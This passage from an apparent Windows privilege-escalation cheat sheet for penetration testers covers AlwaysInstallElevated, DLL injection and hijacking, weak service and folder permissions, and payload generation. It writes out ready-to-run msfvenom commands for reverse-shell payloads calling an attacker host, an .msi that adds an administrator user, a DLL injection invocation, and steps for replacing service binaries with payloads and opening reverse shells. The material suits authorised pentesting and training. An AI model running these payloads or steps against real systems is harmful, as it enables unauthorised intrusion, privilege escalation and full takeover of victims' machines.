  • Look for the installer (.msi) with elevated privileges

  • Generate a malicious .msi using msfvenom

  • Upload the malicious msi to victim machine
  • Execute the msi [/quiet = Suppress any messages to the user during installation; /qn = No GUI; /i = Regular (vs. administrative) installation]


Once we have the meterpreter shell, use the exploit/windows/local/always_install_elevated post exploitation module to escalate the privilege.


Use the following powersploit module for privilege escalation using AlwaysInstallElevated policy setting.

  • Import-Module Privesc
  • Get-RegistryAlwaysInstallElevated
  • Write-UserAddMSI

11. DLL injection

  • Download the RemoteDLLInjector from here.
  • Create a malicious dll using msfvenom (payload.dll)
  • Upload the malicious dll
  • Inject the malicious dll to the vulnerable process using: RemoteDLLInjector64.exe 1234 C:\payload.dll

Use the metasploit post/windows/manage/reflective_dll_inject post exploitation module to escalate the privilege.


12. DLL Hijacking

This vulnerability exploits the weak permissions on the folders. If a vulnerable service is running with administrator privilege, a dll of the service can be replaced with the malicious dll to escalate the privilege. Before exploiting this issue, we need to know the order in which dll path is searched before getting loaded. This will help us to take the decision regarding where to place our malicious dll payload. Below is the order in which the dlls are loaded:

  1. Application directory
  2. C:\Windows\System32 (System directory)
  3. C:\Windows\System (16-bit System directory)
  4. C:\Windows
  5. Current working directory
  6. System PATH environment variables
  7. User PATH environment variables
  • Look for the non-default directory in the “C:\” folder
  • Look for non-default directories in PATH environment variable and check for the write access to the folder
  • Use the tool process monitor to look for the process with missing dll. Create a reverse shell dll and place it in the appropriate directory as mentioned above.


Note: A restart of vulnerable service is required to execute the malicious dll

13. Weak/insecure Service Permission

If the low privileged user has the write permission to the directories where application executable are stored, the genuine binaries can be replaced with the malicious executable files and it will lead to escalation of privileges if the service is running as administrator. Below are the different ways to exploit this issue


Use accesschk.exe to list all the services that a particular user can modify. Look for “SERVICE_ALL_ACCESS” permissions

Check the status of the service. Look for “SERVICE_START_NAME : LocalSystem” and “BINARY_PATH_NAME

Modify the service to create a new user and add it to local administrator group

Restart the service


If the user has write permission into the folder where the binary of the service is located, then it is possible to just replace the binary with the a custom payload and then restart the service in order to escalate privileges.


If we have a meterpreter session, we can use the metasploit post exploitation module exploit/windows/local/service_permissions to automatically exploit this vulnerability and escalate our privilege.

14. Insecure File/Folder Permissions

Look for files and folders for full access (F). Use ‘M’ for modify access.

Upload accesschk.exe to find writable folders and files

accesschk.exe with can be downloaded from here. Replace the existing executable with the malicious payload and restart the service.

Some automated resources for windows privilege escalation and exploit suggestion are

Few repositories with important windows binaries and exploits


People coming from Linux background often face difficulty in executing basic tasks in Windows environment like file transfer and reverse shell. Windows is completely different environment and we don’t have the luxury of rich Linux utilities like wget, curl, python etc.  In this section we will look into some common utilities and tasks which people frequently face during their pentest engagements.

Windows payload generation

.aspx payload. meterpreter listener required on attacker side
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f aspx

.exe non staged payload for 64-bit system. nc listener required on attacker side
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attackerIP LPORT=attackerPort -f exe -a x64 -o shell.exe

.exe payload for 32-bit system. meterpreter listener required on attacker side
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=attackerIP LPORT=attackerPort -f exe -o shell.exe

.msi payload which will execute a reverse shell executable (shell.exe)
msfvenom -p windows/exec cmd=”C:\Users\testuser\AppData\Local\Temp\shell.exe” -f msi-nouac -o  payload.msi

.msi payload which will add a new user
msfvenom -f msi-nouac -p windows/adduser USER=<username> PASS=<password> -o payload.msi

.dll payload for 64-bit system. meterpreter listener required on attacker side
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f dll -o shell.dll

.bin payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f raw -o test.bin

Reverse Shell


Generate the payload using msfvenom and upload it to the victim



  • Invoke-PowerShellTcp.ps1 is a reverse shell written in powershell. Download the script from here.
  • Upload Invoke-PowerShellTcp.ps1 to the victim.
  • Open a netcat listener on the attacker machine to get the shell back


Upload the nc.exe to the victim machine and execute the following to get the reverse shell



File Transfer

If we have a shell on windows machine, there are multiple ways to transfer file from the attacker to the victim machine.


Paste the following list of commands in shell obtained on windows machine. This will generate a visual basic script for file transfer. This script can also be downloaded from here.